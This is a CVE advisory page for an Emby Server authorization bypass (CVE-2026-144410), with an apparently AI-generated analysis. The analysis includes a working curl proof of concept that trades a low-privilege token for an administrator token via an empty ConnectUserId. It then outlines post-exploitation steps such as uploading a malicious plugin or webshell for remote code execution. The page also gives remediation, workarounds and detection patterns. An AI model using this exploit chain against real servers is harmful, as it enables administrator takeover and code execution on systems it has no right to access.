CVE Professor
/
All CVEs
CVE-2026-144410

CVE-2026-144410 — CWE-639 · CWE-862

HIGH CVSS 8.8 NVD

Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply an empty or omitted ConnectUserId to GET /Connect/Exchange in Emby.Server.Connect.dll. ConnectManager.GetLocalUser requests the first match, while UserManager.IncludeUser skips the Connect ID filter for an empty value. ConnectService.Get then creates a session for the selected account without verifying that the caller owns it. On a standard installation the first-created account is the administrator, so the caller can gain an administrator session and use administrative file upload and plugin loading to execute code in the server process. The issue does not require the administrator account to be linked to Emby Connect. This issue is fixed in stable 4.10.2.0 and beta 4.11.0.9.

Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply an empty or omitted ConnectUserId to GET /Connect/Exchange in Emby.Server.Connect.dll. ConnectManager.GetLocalUser requests the first match, while UserManager.IncludeUser skips the Connect ID filter for an empty value. ConnectService.Get then creates a session for the selected account without verifying that the caller owns it. On a standard installation the first-created account is the administrator, so the caller can gain an administrator session and use administrative file upload and plugin loading to execute code in the server process. The issue does not require the administrator account to be linked to Emby Connect. This issue is fixed in stable 4.10.2.0 and beta 4.11.0.9.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Broken Access Control and Improper Authorization flaw (CWE-639, CWE-862) in the Emby Server's Connect integration module (Emby.Server.Connect.dll).

The core technical failure lies in the logic of the GET /Connect/Exchange endpoint. The application fails to validate that the user initiating the exchange actually owns the account being accessed. Specifically:

1. Input Handling Flaw: The endpoint accepts a ConnectUserId parameter. If this parameter is empty or omitted, the backend logic does not reject the request.
2. Logic Bypass in UserManager: When ConnectUserId is empty, the UserManager.IncludeUser method skips the filter that would normally restrict the query to a specific Connect ID.
3. Arbitrary User Selection: The ConnectManager.GetLocalUser method, when not constrained by a specific ID, requests the first match from the user database.
4. Session Hijacking/Creation: ConnectService.Get then creates a valid session token for this "first match" user without verifying that the authenticated caller (who only needs low-level privileges, e.g., a standard user) has ownership rights over that target account.

In a standard Emby installation, the first-created account is the Administrator. Therefore, any authenticated low-privileged user can trigger this endpoint with an empty ConnectUserId, effectively forcing the server to issue an Administrator session token for the caller.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target as running Emby Server. This can be done via:
  • * HTTP headers (e.g., Server: Emby Server). * Checking for the presence of /System/Info or /Users endpoints. * Scanning for the specific version string in the response body of /System/Info (e.g., "Version": "4.10.1.0").
  • Version Verification: Confirm the version is < 4.10.2.0 or < 4.11.0.9 (beta).
  • Credential Acquisition: Obtain valid credentials for any* authenticated user (e.g., a standard user account). This can be achieved via: * Brute-forcing weak passwords. * Social engineering. * Leaked credentials from other services. Note: The vulnerability requires PR:L (Low Privileges), so an admin account is not needed, just any valid user.*

    2. Exploitation

    The attacker sends a request to the vulnerable endpoint with an empty or omitted ConnectUserId.

    Illustrative PoC (curl):

    # 1. Authenticate as a low-privileged user to obtain a valid session token
    # Assume we have a standard user 'attacker_user' with password 'pass123'
    TOKEN=$(curl -s -X POST "http://target:8096/Users/AuthenticateByName" \
      -H "Content-Type: application/json" \
      -d '{"Username": "attacker_user", "Pw": "pass123"}' \
      | jq -r '.AccessToken')
    
    # 2. Exploit the vulnerability by calling /Connect/Exchange with an empty ConnectUserId
    # The server will return a session token for the FIRST user in the DB (typically Admin)
    ADMIN_TOKEN=$(curl -s -X GET "http://target:8096/Connect/Exchange?ConnectUserId=" \
      -H "X-Emby-Token: $TOKEN" \
      -H "Accept: application/json" \
      | jq -r '.AccessToken')
    
    # 3. Verify the new token has admin privileges
    curl -s -X GET "http://target:8096/Users" \
      -H "X-Emby-Token: $ADMIN_TOKEN" \
      | jq '.[] | select(.Policy.IsAdministrator == true)'

    Note: The exact parameter name ConnectUserId and endpoint /Connect/Exchange are derived from the CVE description. The JSON response structure is illustrative based on standard Emby API behavior.

    3. Post-Exploitation

    With the Administrator session token (ADMIN_TOKEN), the attacker can perform any administrative action, leading to Remote Code Execution (RCE):

    1. Plugin Upload (RCE):
    * Navigate to /Plugins/Upload or use the API endpoint to upload a malicious plugin.
    * Emby plugins are typically .NET assemblies (.dll) or JavaScript. A malicious .NET plugin can execute arbitrary code in the context of the Emby server process.
    * Example: Upload a DLL containing a reverse shell or a command execution backdoor.
    2. File Upload (Webshell):
    * Use administrative file management APIs to upload a webshell (e.g., .aspx, .php, or .html with scriptlets if supported) to a web-accessible directory.
    3. Data Exfiltration:
    * Access all user media libraries, personal data, and configuration files.
    * Read sensitive configuration files (e.g., embyserver.conf) for database credentials or API keys.

    🌍 Real World Impact

  • Confidentiality (High): Full access to all user data, media files, and system configurations.
  • Integrity (High): Ability to modify, delete, or corrupt media libraries and user accounts. Ability to install malicious plugins.
  • Availability (High): Ability to crash the server, delete critical files, or lock out legitimate users.
  • Practical Consequences:
  • * Complete Compromise: The server is fully compromised. The attacker can pivot to internal networks if the server is exposed. * Ransomware Risk: While not currently in CISA KEV, the ability to execute code makes it a prime target for ransomware deployment. * Botnet Recruitment: Compromised Emby servers can be added to botnets for DDoS attacks or crypto-mining.

    🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: Emby Server < 4.10.2.0 and beta < 4.11.0.9.
  • Fixed Versions:
  • * Stable: 4.10.2.0 * Beta: 4.11.0.9
  • Action: Immediately upgrade to the latest stable version (4.10.2.0 or later).
  • 2. Workarounds (If Upgrade is Not Immediately Possible)

  • Disable Connect Integration: If Emby Connect is not used, disable the Connect feature in the Emby Server configuration. This may involve removing the Emby.Server.Connect.dll or disabling the plugin via the admin UI (if accessible) or configuration file.
  • Restrict Access to /Connect/Exchange: Use a WAF or reverse proxy to block requests to /Connect/Exchange from non-administrative IPs or users. Note: This is fragile and not a complete fix.*
  • Network Segmentation: Ensure the Emby server is not directly exposed to the internet. Use a VPN or reverse proxy with strong authentication.
  • 3. Detection (IoCs)

  • Web Server Logs: Look for requests to /Connect/Exchange with an empty or missing ConnectUserId parameter from non-administrative user tokens.
  • * Example Log Pattern:
    GET /Connect/Exchange?ConnectUserId= HTTP/1.1
            X-Emby-Token: <low_privilege_token>
  • Plugin Uploads: Monitor for unexpected plugin uploads, especially from non-administrative users or from IPs that do not match known administrative sources.
  • Process Monitoring: Monitor for child processes spawned by the Emby server process (e.g., cmd.exe, powershell.exe, bash) that are not expected in a normal media server operation.
  • File System: Check for new or modified files in the Emby plugins directory (/plugins or %ProgramData%\Emby Server\plugins).
  • ⚠️ Urgency

  • CVSS Score: 8.8 (High)
  • CISA KEV: No
  • Exploit Complexity: Low (requires only valid low-privilege credentials and a simple HTTP request)
  • Patching Priority: HIGH
* Although not in CISA KEV, the low complexity and high impact (RCE) make this a critical vulnerability. * Any organization with Emby Server exposed to the internet or with multiple user accounts should patch immediately. * If the server is internal-only and has strong access controls, the risk is lower, but patching is still strongly recommended.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-639 CWE-862
References & Advisories (5)
Related CVEs
8.8
CVE-2026-139866
Authorization bypass through User-Controlled key vulnerability in TÜBİTAK BİLGEM Yazılım Teknolojileri Ar
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.7
CVE-2026-136368
Joomla Extension - joomboost.com - Unauthenticated IDOR in public invoice and quote view in JoomInvoice extens
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1
8.6
CVE-2026-144467
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user
8.6
CVE-2026-144944
Dolibarr ERP CRM versions 22.0.0 through 24.0.3 contain a broken object-level authorization vulnerability in t
8.6
CVE-2026-145259
RayLabsHQ gitea-mirror before 3.57.0 contains a missing authorization vulnerability in /api/auth/sso/register